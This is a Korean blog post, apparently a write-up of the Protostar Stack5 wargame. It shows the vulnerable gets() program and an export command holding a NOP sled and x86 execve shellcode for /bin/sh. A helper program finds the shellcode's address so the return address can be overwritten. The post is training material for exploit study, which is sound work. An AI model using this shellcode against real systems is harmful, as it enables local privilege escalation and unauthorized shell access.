protostar stack5

assb
|2020. 10. 29. 19:54

old.liveoverflow.com/binary_hacking/protostar/stack5.html

 

Stack 5 - LiveOverflow

This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binaries are.

old.liveoverflow.com

 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

 stack5의 소스코드이다. stack4와 비슷하지만, 다른 점이 있다면 특정 함수로 이동시키는 것이 아니라 return address를 변조해 쉘을 실행시켜야 한다. 

 

 

 gdb로 프로그램을 분석한 후 stack 구조를 그렸다. buffer 64byte와 dummp, ebp, return address가 존재한다. 스택의 구조는 stack4와 동일하다.

 

2020/10/29 - [CTF/시스템] - protostar stack4

 

protostar stack4

old.liveoverflow.com/binary_hacking/protostar/stack4.html Stack 4 - LiveOverflow This video introduces http://exploit-exercises.com, how to connect to the VM with ssh and explains what setuid binari..

assb.tistory.com

 

export GS=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
#include <stdio.h>
int main(){
	printf("%x\n", getenv("GS"));
	return 0;
}

 문제를 해결하기에 앞서서 쉘 코드를 작성해야 한다. 환경변수로 쉘 코드를 설정한 후, 해당 환경 변수의 주소를 획득하는 프로그램을 작성해 쉘 코드의 주소를 획득했다. 

 

 위에서 구한 stack 구조를 참고하여 return address에 쉘 코드의 주소를 입력하면 쉘을 실행할 수 있다. 

728x90

'CTF > 시스템' 카테고리의 다른 글

protostar stack7  (0) 2020.10.29
protostar stack6  (0) 2020.10.29
protostar stack4  (0) 2020.10.29
protostar stack3  (0) 2020.10.29
protostar stack2  (0) 2020.10.29